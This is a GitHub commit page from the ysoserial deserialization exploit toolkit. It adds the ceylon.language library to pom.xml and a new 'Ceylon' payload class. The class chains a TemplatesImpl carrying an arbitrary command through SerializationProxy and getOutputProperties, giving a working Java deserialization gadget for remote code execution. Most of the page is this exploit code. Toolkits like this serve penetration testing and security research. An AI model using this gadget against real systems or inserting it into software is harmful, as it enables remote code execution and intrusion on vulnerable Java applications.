Skip to content

Commit

Permalink
ceylon gadget (#173)
Browse files Browse the repository at this point in the history
  • Loading branch information
supersache authored Apr 27, 2022
1 parent 15e6aa6 commit 1902fcc
Show file tree
Hide file tree
Showing 2 changed files with 28 additions and 0 deletions.
5 changes: 5 additions & 0 deletions pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -366,6 +366,11 @@
<artifactId>click-nodeps</artifactId>
<version>2.3.0</version>
</dependency>
<dependency>
<groupId>org.ceylon-lang</groupId>
<artifactId>ceylon.language</artifactId>
<version>1.3.3</version>
</dependency>
</dependencies>

<profiles>
Expand Down
23 changes: 23 additions & 0 deletions src/main/java/ysoserial/payloads/Ceylon.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
package ysoserial.payloads;

import com.redhat.ceylon.compiler.java.language.SerializationProxy;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;

@Authors({ Authors.KULLRICH })
@Dependencies({ "org.ceylon-lang:ceylon.language:1.3.3" })
public class Ceylon implements ObjectPayload<Object>
{

//
// Probably the simplest deser gadget ever ;-)
//
@Override
public Object getObject(String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);

return new SerializationProxy (templates, templates.getClass(), "getOutputProperties");
}
}

0 comments on commit 1902fcc

Please sign in to comment.